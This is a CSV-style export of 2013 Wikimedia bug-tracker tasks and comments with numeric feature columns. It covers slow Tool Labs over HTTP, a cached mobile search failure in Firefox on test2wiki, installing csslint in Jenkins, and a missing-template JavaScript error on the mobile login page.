260115,Tool Labs is very slow when browsing with non-HTTPS,See http://lists.wikimedia.org/pipermail/labs-l/2013-December/001907.html,,,1386181424,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wb2gzsfi5v7menlq45me,task_subcomment,,True,c3,1,True,,,-83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,See URL
59934,Search not working for mobile over http for Firefox on test2wiki,"Seen in Firefox:

http://test2.m.wikipedia.org/wiki/Main_Page or http://test2.m.wikipedia.org/wiki/Main_Page?useformat=mobile

Type 'bara' into the search box. 

Barack Obama page suggestion should appear, but page says explicitly that no results are found.

Search works correctly from https:  https://test2.m.wikipedia.org

Notes: 

* Search works correctly on beta labs from http URL http://en.m.wikipedia.beta.wmflabs.org/wiki/Main_Page?useformat=mobile

* Search works correctly in production from http URL http://en.m.wikipedia.org

* http://test2.m.wikipedia.org redirects to https for Chrome (and search works correctly) but not for Firefox

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1386093300,1386184801.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-n2nhiykqm6fym4gqupcm,task_description,resolved,True,c3,1,False,False,True,-83,True,0.0,0.0,0.0,0.5,1.0,2.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,4.5,8.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,15.0,0.5,3.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,8.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9264500349406006,0.6535639412997903,"Seen in Firefox:

URL or URL

Type 'bara' into the search box. 

Barack Obama page suggestion should appear, but page says explicitly that no results are found.

Search works correctly from https:  URL

Notes: 

* Search works correctly on beta labs from http URL URL

* Search works correctly in production from http URL URL

* URL redirects to https for Chrome (and search works correctly) but not for Firefox

--------------------------
**Version**: unspecified
**Severity**: normal"
258338,Search not working for mobile over http for Firefox on test2wiki,I feel like we can safely close this - the OP issue appears to be gone. I just tried and could no longer replicate with 'bara'. Iirc the cache entry expired Dec 4 ~1800 GMT. New response headers from 'bara' search show cache entry refreshed Dec 4 ~1900 GMT and expires Dec 5 ~1900GMT. I have a high level of confidence that a bad response/error was cached and was causing the problem. Marking as closed but feel free to reopen if issue resurfaces.,,,1386184801,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-n2nhiykqm6fym4gqupcm,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,4.0,0.0,5.0,8.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,18.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,4.0,8.0,11.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8421052631578947,0.7157894736842105,I feel like we can safely close this - the OP issue appears to be gone. I just tried and could no longer replicate with 'bara'. Iirc the cache entry expired Dec 4 ~1800 GMT. New response headers from 'bara' search show cache entry refreshed Dec 4 ~1900 GMT and expires Dec 5 ~1900GMT. I have a high level of confidence that a bad response/error was cached and was causing the problem. Marking as closed but feel free to reopen if issue resurfaces.
258334,Search not working for mobile over http for Firefox on test2wiki,Arthur is looking into this so marking as assigned.,,,1386182871,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-n2nhiykqm6fym4gqupcm,task_subcomment,,True,c3,1,True,,,-83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,4.3,1.0,Arthur is looking into this so marking as assigned.
258331,Search not working for mobile over http for Firefox on test2wiki,"After chatting a bit with Nik in IRC, I'm becoming more convinced this is a caching issue. I'm able to replicate the OP's issue in firefox as a logged out user, but if I log in, search behaves as expected. When I log out and try to search, things work as expected (presumably caching is varied on one, some or all of the cookies that linger after logging out).

I looked at the network requests, and sure enough the failing 'bara' search string results in a cache hit while the others result in a miss. So likely an error or otherwise bad result got stuck in the cache.

Chris, what search term(s) did you try on mediawiki.org?",,,1386121212,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-n2nhiykqm6fym4gqupcm,task_subcomment,,True,c3,1,False,,,-83,True,1.0,0.0,0.0,0.0,0.0,3.5,1.0,0.0,0.0,0.5,6.0,2.5,0.0,0.0,0.0,2.5,0.0,5.0,13.5,0.0,1.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,13.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,7.5,1.0,6.5,1.5,3.0,9.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,3.5,13.5,3.0,0.5,1.5,0.0,3.5,0.0,2.0,3.5,0.0,3.5,0.5,0.0,0.5,3.664285714285714,0.7142857142857142,"After chatting a bit with Nik in IRC, I'm becoming more convinced this is a caching issue. I'm able to replicate the OP's issue in firefox as a logged out user, but if I log in, search behaves as expected. When I log out and try to search, things work as expected (presumably caching is varied on one, some or all of the cookies that linger after logging out).

I looked at the network requests, and sure enough the failing 'bara' search string results in a cache hit while the others result in a miss. So likely an error or otherwise bad result got stuck in the cache.

Chris, what search term(s) did you try on mediawiki.org?"
258327,Search not working for mobile over http for Firefox on test2wiki,"I had a look at this and it is certainly not caused by cirrussearch.

I know it isn't caused by CirrusSearch because digging into this caused me to see that Cirrus isn't enabled _anywhere_.  This is a mistake and we'll get it back enabled on test2wiki in a bit.

It does seem to be specific to the word ""bara"" though.  ""bar"" and ""barac"" both find him.  This could be complicated by caching.....",,,1386103281,,PHID-USER-2rnfxoezl66afpa7w7in,False,,,PHID-TASK-n2nhiykqm6fym4gqupcm,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,4.0,3.0,1.0,2.0,1.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,7.0,13.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,3.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,7.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0,6.0,7.0,2.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,13.0,4.0,0.0,6.0,0.0,11.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,3.4574468085106385,0.6382978723404256,"I had a look at this and it is certainly not caused by cirrussearch.

I know it isn't caused by CirrusSearch because digging into this caused me to see that Cirrus isn't enabled _anywhere_.  This is a mistake and we'll get it back enabled on test2wiki in a bit.

It does seem to be specific to the word ""bara"" though.  ""bar"" and ""barac"" both find him.  This could be complicated by caching....."
258321,Search not working for mobile over http for Firefox on test2wiki,also see this issue at at https://m.mediawiki.org for both Firefox/http and Chrome/https,,,1386101823,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-n2nhiykqm6fym4gqupcm,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5625,0.875,also see this issue at at URL for both Firefox/http and Chrome/https
258317,Search not working for mobile over http for Firefox on test2wiki,"Interestingly searching for ""Bara"" works but ""bara"" doesn't.

http://test2.m.wikipedia.org/w/api.php?format=json&search=bara&action=opensearch&namespace=0&limit=15
On Firefox returns [""bara"",[]] in response
On Chrome returns [""bara"",[""Barack Obama""]] in response

Why would the response differ on user agent?! This is server side!?!",,,1386094541,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-n2nhiykqm6fym4gqupcm,task_subcomment,,True,c3,1,True,,,-83,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,2.0,2.0,3.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,10.0,8.0,3.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,8.0,3.360655737704918,0.6229508196721312,"Interestingly searching for ""Bara"" works but ""bara"" doesn't.

URL
On Firefox returns [""bara"",[]] in response
On Chrome returns [""bara"",[""Barack Obama""]] in response

Why would the response differ on user agent?! This is server side!?!"
258311,Search not working for mobile over http for Firefox on test2wiki,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1477",,,1386093388,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-n2nhiykqm6fym4gqupcm,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
59899,Jenkins: Install node-csslint,"Also, set up initial jobs for projects that already use csslint in their local-dev Gruntfile (oojs-ui and visualeditor at the moment).

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1386027300,1390847427.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-poin5yyszgpyi25gk3je,task_description,resolved,True,c3,1,True,False,True,-83,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,8.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.7755102040816326,"Also, set up initial jobs for projects that already use csslint in their local-dev Gruntfile (oojs-ui and visualeditor at the moment).

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
280619,Jenkins: Install node-csslint,"(In reply to comment #5)
> Does that also lint less or is there a extra tool?

No, we don't yet use cssslint in mediawiki-core (current code doesn't pass) and neither does it validate LESS in any way.",,,1390847473,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-poin5yyszgpyi25gk3je,task_subcomment,,True,c3,1,True,,,-75,True,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,2.0,0.0,12.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.225,0.875,"(In reply to comment #5)
QUOTE

No, we don't yet use cssslint in mediawiki-core (current code doesn't pass) and neither does it validate LESS in any way."
280617,Jenkins: Install node-csslint,"This has been installed, deployed and is now also actively used by various projects.

In the main 'test' pipelines, however, this is no longer used as we have since migrated to using npm-test (from package.json) directly by installing it in a virtual machine in labs and executing it as specified by the source repository (instead of the install provided by Jenkins).",,,1390847427,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-poin5yyszgpyi25gk3je,task_subcomment,,True,c3,1,True,,,-75,True,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,1.0,1.0,11.0,17.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,4.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,3.0,0.0,3.0,0.0,4.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,4.1066666666666665,0.76,"This has been installed, deployed and is now also actively used by various projects.

In the main 'test' pipelines, however, this is no longer used as we have since migrated to using npm-test (from package.json) directly by installing it in a virtual machine in labs and executing it as specified by the source repository (instead of the install provided by Jenkins)."
280616,Jenkins: Install node-csslint,Does that also lint less or is there a extra tool?,,,1386359787,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-poin5yyszgpyi25gk3je,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,3.3333333333333335,1.0,Does that also lint less or is there a extra tool?
280613,Jenkins: Install node-csslint,"Change 98868 merged by Krinkle:
Create macro for csslint and use in oojs-ui and VisualEditor

https://gerrit.wikimedia.org/r/98868",,,1386099008,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-poin5yyszgpyi25gk3je,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9523809523809523,"Change 98868 merged by Krinkle:
Create macro for csslint and use in oojs-ui and VisualEditor

GERRIT_URL"
280610,Jenkins: Install node-csslint,"Change 98868 had a related patch set uploaded by Krinkle:
Create macro for csslint and use in oojs-ui and VisualEditor

https://gerrit.wikimedia.org/r/98868",,,1386098003,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-poin5yyszgpyi25gk3je,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.3076923076923075,0.9615384615384616,"Change 98868 had a related patch set uploaded by Krinkle:
Create macro for csslint and use in oojs-ui and VisualEditor

GERRIT_URL"
280605,Jenkins: Install node-csslint,"Change 98722 merged by jenkins-bot:
Install Grunt plugin for csslint

https://gerrit.wikimedia.org/r/98722",,,1386028242,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-poin5yyszgpyi25gk3je,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 98722 merged by jenkins-bot:
Install Grunt plugin for csslint

GERRIT_URL"
280600,Jenkins: Install node-csslint,"Change 98722 had a related patch set uploaded by Krinkle:
Install Grunt plugin for csslint

https://gerrit.wikimedia.org/r/98722",,,1386027315,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-poin5yyszgpyi25gk3je,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.684210526315789,1.0,"Change 98722 had a related patch set uploaded by Krinkle:
Install Grunt plugin for csslint

GERRIT_URL"
59624,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"https://m.mediawiki.org/wiki/Special:UserLogin

Exception thrown by mobile.issues.beta load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.triggerQueueCallback%2Cl…:145
Error: Template not found: overlays/cleanup Error {} load.php?d

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1385504520,1386181898.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-zckfoj72hmkauqbmxgnj,task_description,resolved,True,c3,1,True,False,True,-84,True,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.6410256410256411,"URL

Exception thrown by mobile.issues.beta load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.triggerQueueCallback%2Cl…:145
Error: Template not found: overlays/cleanup Error {} load.php?d

--------------------------
**Version**: unspecified
**Severity**: normal"
264903,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Change 99027 merged by jenkins-bot:
Bug 57624: proper js resource loading in zero

https://gerrit.wikimedia.org/r/99027",,,1386180058,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1,0.95,"Change 99027 merged by jenkins-bot:
Bug 57624: proper js resource loading in zero

GERRIT_URL"
264898,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Change 99027 had a related patch set uploaded by Yurik:
Bug 57624: proper js resource loading in zero

https://gerrit.wikimedia.org/r/99027",,,1386129953,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.217391304347826,0.9565217391304348,"Change 99027 had a related patch set uploaded by Yurik:
Bug 57624: proper js resource loading in zero

GERRIT_URL"
264892,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Looks like an issue with Zero.
'class' => 'MFResourceLoaderModule',


Several issues:
1) mobile.zero.scripts and mobile.zero.templates can now be merged into one module specifying:
'class' => 'MFResourceLoaderModule',
2) Explicitly add to dependencies for this module: 'mobile.templates'

Basically what is happening is the code for templates is not being loaded before the template is added.",,,1386094070,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,True,,,-83,True,1.0,0.0,0.0,4.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,1.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,9.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,9.0,1.0,0.0,12.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,5.0,4.325,0.6625,"Looks like an issue with Zero.
'class' => 'MFResourceLoaderModule',


Several issues:
1) mobile.zero.scripts and mobile.zero.templates can now be merged into one module specifying:
'class' => 'MFResourceLoaderModule',
2) Explicitly add to dependencies for this module: 'mobile.templates'

Basically what is happening is the code for templates is not being loaded before the template is added."
264887,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Created attachment 13966
Errors in action

